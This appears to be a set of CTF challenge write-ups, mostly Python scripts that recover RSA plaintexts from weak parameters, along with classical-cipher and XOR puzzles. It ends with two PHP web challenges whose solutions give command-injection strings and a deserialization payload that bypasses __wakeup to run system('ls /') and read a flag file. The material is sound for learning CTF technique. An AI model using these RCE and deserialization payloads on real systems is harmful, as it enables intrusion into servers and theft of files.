unsafe_prime
# from Crypto.Util.number import *
# from flag import flag
# import libnum
# p=getPrime(1024)
# n=p**3
# e=65537
# c=pow(libnum.s2n(flag),e,n)
# print(n)
# print(c)
#1781066779141074297846071955037887396311182371062305797790413639302252321886055189043670187843106208315282055227397316083218930657040969292641990094428330517286511511741846106485971830443788363541411679523274683568732340113625424593194464460018629545968907529693143364870519531630721083893407011154181539445417439610805148961135948617691115328261432541033785402520757881586489819563221498111411690769065511011083021336493731421274742041131952523427183184133413677315203810963447656037908287875212013900845740870561508870574734100843624059414134156975073835607712519402938132401964708681236647568922173471703538744207491065165405594141287750705055447493380970194312139898574699147098202027540057477562090764694370368571887563631557761911842054442637038169316686266784299889397326811768646649462480349219937292894824766045607723468654723947999531346474969019631500665628522355198334827965770037487344994396753505248472283247731
#1402371150275079475353867962992356093684205278224746766691813462864343871795075217989508355749642716635931824907174189358797217546624305634264458802157933311315419673854405865092102322247505412453586251582022669511221048298234732642016439123525455296325766292112758881774720932499142635136210314142144509741404827421282969081272484330382868174392651681290127032351489627054643864671335712011990584326951285867375878235135547391155357814807654366986019707719726796289990920154227959213228064918435259919697047405788311280560319520593639968900649500117511665741073545430999580686455996145426173603547052710181735901020361145546892741579951501409108067297139928103329203429485237575169217432586580425019729120741661192297552519858305628835738911159460615968385837687234565509200392302553443089729906970894661310333276852803980265040679214814192141779678148895736682538612828771031493541256243879854624644771924477873876038496224
import gmpy2
import libnum
import sympy
e = 65537
n = 1781066779141074297846071955037887396311182371062305797790413639302252321886055189043670187843106208315282055227397316083218930657040969292641990094428330517286511511741846106485971830443788363541411679523274683568732340113625424593194464460018629545968907529693143364870519531630721083893407011154181539445417439610805148961135948617691115328261432541033785402520757881586489819563221498111411690769065511011083021336493731421274742041131952523427183184133413677315203810963447656037908287875212013900845740870561508870574734100843624059414134156975073835607712519402938132401964708681236647568922173471703538744207491065165405594141287750705055447493380970194312139898574699147098202027540057477562090764694370368571887563631557761911842054442637038169316686266784299889397326811768646649462480349219937292894824766045607723468654723947999531346474969019631500665628522355198334827965770037487344994396753505248472283247731
c = 1402371150275079475353867962992356093684205278224746766691813462864343871795075217989508355749642716635931824907174189358797217546624305634264458802157933311315419673854405865092102322247505412453586251582022669511221048298234732642016439123525455296325766292112758881774720932499142635136210314142144509741404827421282969081272484330382868174392651681290127032351489627054643864671335712011990584326951285867375878235135547391155357814807654366986019707719726796289990920154227959213228064918435259919697047405788311280560319520593639968900649500117511665741073545430999580686455996145426173603547052710181735901020361145546892741579951501409108067297139928103329203429485237575169217432586580425019729120741661192297552519858305628835738911159460615968385837687234565509200392302553443089729906970894661310333276852803980265040679214814192141779678148895736682538612828771031493541256243879854624644771924477873876038496224
p = 121216033233585299462279856144422199686140149244819402908675131452249143435823157035320400025743305736047792084067723177554239638229731651194515823556880874798950035236056266154727789682357822323822962110560589110432270068487448525123808163818606838762211746373156874518622834972063360072190758655502892772811
q = pow(p,2)
phi = pow(p,3) - pow(p,2)
d = libnum.invmod(e,phi)
m = pow(c,d,n)
print(m)
print(libnum.n2s(int(m)))
#b'flag{Shumu_th1nk_saf3_pr1me_ar3_importanT!}'
Impossible_RSA
# import libnum
# from Crypto.Util.number import getPrime
# from flag import flag, e
#
# p = getPrime(1024)
# q = getPrime(1024)
# n = p * q
# assert e <= 500000
# c = pow(libnum.s2n(flag), e, n)
# leak1 = c % q
# leak2 = c % p
# leak3 = p + q
# print("n =", n)
# print("leak1 =", leak1)
# print("leak2 =", leak2)
# print("leak3 =", leak3)
#求p,q
# import sympy
# n = 21256406304024147327122699985764737895162788854942201173538004689536569610046157311527715126074775927977409773971656249943602454790380966869525211733301201659688694473703188427037879868522859419364680904585572399937639393418586498509580133474303442722716959873727260844993296681950092753897902540593927952622713860163782763263944291810729056735965535138964485886748344167499818148134252327820007439830749462775149754781930983094046362696040641091039506998835624218220892441813224657845627120344960554424765109502415773475619490661527184126374299883610442465428985757004551740482644952396990065188807827114495184096249
# leak1 = 8842431959638543756327530752221031675897458993985909403335303147413741167900365489182674478419510549838159493192002672500346433589707076289344572454304647803237654059883974235710442126617587691632375039292283285577033977676131772115877520248352227419433136507412485140428972344000541898060766721412300525883
# leak2 = 127414092867622693231378230621806169422569654246682818498761930473755998913688181327473434110121174292309611256339271412324673262030535400937563769685033472683498585742711576446343086462569783541192470920638935990937187809422965809986860709074542257475025562691683977493260026623616012846939417988284096473040
# leak3 = 293130152177150437492580785085598394773458388719469800871702200331766258900690595210759869625006484354799804558552583572062231998451041105464048317708732987121458633718573774164071597186461239762511364549980544029915308083867329707804739776241438307060614946195675715671343671137725809499387682363101164970886
#
# p = sympy.Symbol('p')#方程组定义变量
# q = sympy.Symbol('q')
# m1 = p + q - leak3
# m2 = p*q - n
# result = sympy.solve([m2,m1],[q,p])
# p = result[1][0]
# q = result[1][1]
# print(p+q)
# print(p)
# print(q)
#求c
# import gmpy2
# import functools
# leak1 = 8842431959638543756327530752221031675897458993985909403335303147413741167900365489182674478419510549838159493192002672500346433589707076289344572454304647803237654059883974235710442126617587691632375039292283285577033977676131772115877520248352227419433136507412485140428972344000541898060766721412300525883
# leak2 = 127414092867622693231378230621806169422569654246682818498761930473755998913688181327473434110121174292309611256339271412324673262030535400937563769685033472683498585742711576446343086462569783541192470920638935990937187809422965809986860709074542257475025562691683977493260026623616012846939417988284096473040
# p = 161562249983202700035527081166558786031731223261198195999535987465827171883730733359944156020947215855022510635343983292897557354440470230745496731228302894376018866016596714241754815953745113727125200716224341010140868299262202025976056483744622119807303134689795661748036502596285135565503272596613700276343
# q = 131567902193947737457053703919039608741727165458271604872166212865939087016959861850815713604059268499777293923208600279164674644010570874718551586480430092745439767701977059922316781232716126035386163833756203019774439784605127681828683292496816187253311811505880053923307168541440673933884409766487464694543
# def CRT(mi, ai):
# # mi,ai分别表示模数和取模后的值,都为列表结构
# # Chinese Remainder Theorem
# assert (isinstance(mi, list) and isinstance(ai, list))
# M = functools.reduce(lambda x, y: x * y, mi)
# ai_ti_Mi = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
# return functools.reduce(lambda x, y: x + y, ai_ti_Mi) % M
# print(CRT([p,q],[leak2,leak1]))
# #
#
import gmpy2
import libnum
e = 49333
# c = 17431785835448961043859261315176288401566897635242802779223179191586051568502129723405988597934098406136452124086691395820535287880399796936679536014864454358414280944146420090803301734567846096671469665943122284125460393629919656472016204629268365464527631452362135617958549984167918731877279978373216172745252114501071952316225108779903786223880900111253475978779987190816907059958151040417717948214119214022275866036117533690908516698257151038714990849359728367630245354088623657069197243123992414029445546670792061100574970848370880757736957657188088000537248398978275307423124105368394831768224360130420560928591
# c = 22770122824321633115912971825455908687355382455045454571705704690952291322481511160730887869058862732082938259964873518549282801291480023621164456866675823033615112134707695914501857504810427675491749515262338634897770912428069575542658585834016589453429998202472108150395872255742766808098607542366119238049827700517324253555848273103545741173860889988033732803979471867442572549436584137491914091815352759870752703050324084234064754734337560733929308712765145094917275935838039936048676125768788180346996240649957625553766984801712082446523595467203047833266290134224103170539631882579941524894829078335447533983
c = 3824620468575186283263438670588449493595891219699398394314825497950518041544027588121726528140677521840957649884964854123067166909981169932845675718436747301274413529556768336234578133955013322693211238642450115812178999788666842037563928845035077258189328421365125227034746697782174022020622562220711779877598002187538072184706888792199297713183102140951678635870454210304080828257689834218945600205170933595021659495344723487962865693403732529551424491615233971077383327527196551458483405810155511628144408791554931651558741600255400950740080455745248949786196057225372895693209845996211788165583651693771020166581
n = 21256406304024147327122699985764737895162788854942201173538004689536569610046157311527715126074775927977409773971656249943602454790380966869525211733301201659688694473703188427037879868522859419364680904585572399937639393418586498509580133474303442722716959873727260844993296681950092753897902540593927952622713860163782763263944291810729056735965535138964485886748344167499818148134252327820007439830749462775149754781930983094046362696040641091039506998835624218220892441813224657845627120344960554424765109502415773475619490661527184126374299883610442465428985757004551740482644952396990065188807827114495184096249
p = 161562249983202700035527081166558786031731223261198195999535987465827171883730733359944156020947215855022510635343983292897557354440470230745496731228302894376018866016596714241754815953745113727125200716224341010140868299262202025976056483744622119807303134689795661748036502596285135565503272596613700276343
q = 131567902193947737457053703919039608741727165458271604872166212865939087016959861850815713604059268499777293923208600279164674644010570874718551586480430092745439767701977059922316781232716126035386163833756203019774439784605127681828683292496816187253311811505880053923307168541440673933884409766487464694543
print(p*q)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
#b'flag{c59d5fc3-610c-41ca-baef-b26f9a88648d}'
disparity_rsa
# from Crypto.Util.number import *
# import libnum
# from flag import flag
#
# n = getPrime(16) * getPrime(1024)
# e = 65537
# c = pow(libnum.s2n(flag), e, n)
# print(n)
# print(c)
"""
5766276392358749678465293140086098467966750231712371312128357014391999737216038752230724284342592823121355823795866483203180931048954335112770774107559486755364212210458976151334722695492171477074797849017986146274077476865962084775522903856595231226401087381140264069846311320790344977681853590320235273290951697
2045715881946911272235143200802867525029545408884378407157206152052553006168468197781701884100551265225998396305370344041310549543210998337911706435156837312343915033047602409702498958543942876869008345155456133353563984395357862622021564371486943574405858053628504628093173853945529577974028398631861979247502108s
"""
import gmpy2
import libnum
e = 65537
n = 5766276392358749678465293140086098467966750231712371312128357014391999737216038752230724284342592823121355823795866483203180931048954335112770774107559486755364212210458976151334722695492171477074797849017986146274077476865962084775522903856595231226401087381140264069846311320790344977681853590320235273290951697
c = 2045715881946911272235143200802867525029545408884378407157206152052553006168468197781701884100551265225998396305370344041310549543210998337911706435156837312343915033047602409702498958543942876869008345155456133353563984395357862622021564371486943574405858053628504628093173853945529577974028398631861979247502108
p = 100824891894856702601201118009583648965164977561371042858637845367138181483380929730739526924561431398670347148954669147299066829552802628259180187574259704417901631558444093499584247442642574479809722666468258052387219612630695122930581802321960294913554359621973108878080665153439264529066699136581547328967
q = 57191
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(m)
print(libnum.n2s(int(m)))
#
爱丽丝梦境的兔子
题目描述
一只没有钥匙的兔子背着社会主义核心价值观跳过6排栅栏
U2FsdGVkX19ixL7s5HryOhyL5oSScYGNVBVWl+sUMYQwTRniXreqeSp/iTHtkcxt
qicNL4xpHc5X34Daat7ixqkZMpU4JV9USOKKTAw9HJfGnoDzFF/JY0gzJpxgmW1X
4nXktQ4J7OM14EMcTrhPDIOfG2VDJr4yViWc/vNS8np1IFeIRXMoWGAJHuI8IOVG
tXi2JX6hTseYkJc2LGHJkLQ0WDW67RyhPC3vOwmJHOs/wMefWCaYteoQYOCReltm
FYuuibegOvFSUl1f0Tu7488mBHNjTrDSC76HjgxJJ6h9P36mLucQUBiFMyjLe0k1
+TTb39iMaGCuPiDb0UoAcAZPolz7RCeXqZOdzcJsPIFK/tcFLGeOPJTfFhJiwga6
cENO7pqeIB1qsRqEjyO4m4wgkhugdcs10CCevOJxNiQaWtv/FIOw9oCi5Q0VP+C9
qXZbuQ==
根据题目描述先进行Rabbit解码
然后社会主义核心价值观解密
然后栅栏密码解密
easy_base64
import base64
f=''
b=90
a=[55, 21, 16, 50, 105 ,71 ,14 ,27, 41, 30, 34, 16, 50, 111, 74, 62, 5, 18, 54, 52 ,106, 85, 31, 54, 24, 111, 83, 11, 38, 1, 53, 17, 37 ,17 , 35, 47, 32, 52, 40, 2 ,9 ,59, 47, 54 ,25, 111, 77, 16, 48 ,26 ,33 ,9 ,55, 108 ,0]
for i in range(len(a)):
b=a[i]^b
f+=chr(a[i]^b)
print(f)
f+='=' #异或以后发现少一个=,但是问题不大
flag=base64.b64decode(bytes(f,"utf-8"))
print(flag)
简单的数学
# from Crypto.Util.number import *
# import libnum
# from flag import flag
# e = 65537
# p = getPrime(1024)
# q = getPrime(1024)
# n = p*q
# k = getRandomNBitInteger(20)
# c=pow(libnum.s2n(flag)*p+k*n,e,n)
# print(n)
# print(k)
# print(c)
# '''
# 462592082768349080220909549757344916952259805582738138946967136528358314821753717325227038311476341057261616824882300840971094398108671686730634522953199485320477369825037835494264368612594110910697087675588798023343938150586183916552348143352032916901783618890855526008248299448901123776094889945844121087885252580121628395910419946496994972305258850973957286676894473867869392346778460319
# 25014963863951112347974440214066273048882503259160338255496299775995961351901571648895465031685356024238885233929337483853960374743565692563404769039019561050421788096283392820458449077490390195564801845037357811298274797645813808259301937466827199149702646030007667049110326436048932024335483846993690455310182909643176845321021209137548742937430940258997221937352498631551209822079559591857076641561863821325180714184637516327495056825200929458796589533188382551310078527193764723189551017851538326522660734366263229681834096022505151628784267513086843047784002223603418978827233728149657480292961095596638702578233
# 930971
# 21332979626247382647148222928588089621511790656630926013612529289276199934646065751526142377438330548167579869346422391777913473113228287023801928140946948279096562923728186040013041739656216576467903409087827269164764659636977412246373447194249307513950780025367450729199178539765363446611686879821064068711525543800807969264271445173422813211738947698740537888866771159352960700295474589207758542367193701819811125602611901272496121027126921035697692984486226677539547135753720071134145590716156803665486826826046693205511230289946748601632769198172373201803516681379607412290191420859001274915183415061321376410345
# '''
import gmpy2
import libnum
e = 65537
n = 25014963863951112347974440214066273048882503259160338255496299775995961351901571648895465031685356024238885233929337483853960374743565692563404769039019561050421788096283392820458449077490390195564801845037357811298274797645813808259301937466827199149702646030007667049110326436048932024335483846993690455310182909643176845321021209137548742937430940258997221937352498631551209822079559591857076641561863821325180714184637516327495056825200929458796589533188382551310078527193764723189551017851538326522660734366263229681834096022505151628784267513086843047784002223603418978827233728149657480292961095596638702578233
k = 930971
c = 21332979626247382647148222928588089621511790656630926013612529289276199934646065751526142377438330548167579869346422391777913473113228287023801928140946948279096562923728186040013041739656216576467903409087827269164764659636977412246373447194249307513950780025367450729199178539765363446611686879821064068711525543800807969264271445173422813211738947698740537888866771159352960700295474589207758542367193701819811125602611901272496121027126921035697692984486226677539547135753720071134145590716156803665486826826046693205511230289946748601632769198172373201803516681379607412290191420859001274915183415061321376410345
p = gmpy2.gcd(n,c)
q = n // p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag =m // p
print(libnum.n2s(int(flag)))
王八快跑
打开得到一个exe文件让他运行最后就得到flag
搬好小板凳听故事
ez_rce
?><?=l\s /
?><?=ca""t /fffffffffflagafag
;
NSSCTF{This_IS_s0_easy_RCE}
en_unser
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
主要是绕过__wakeup这个魔术方法 本来的思路就是CVE但是不行
所以只能从题目中所给的的三个魔法方法下手
O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:15:"system('ls /');";}
得到
O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system('cat /fffffffffflagafag');";}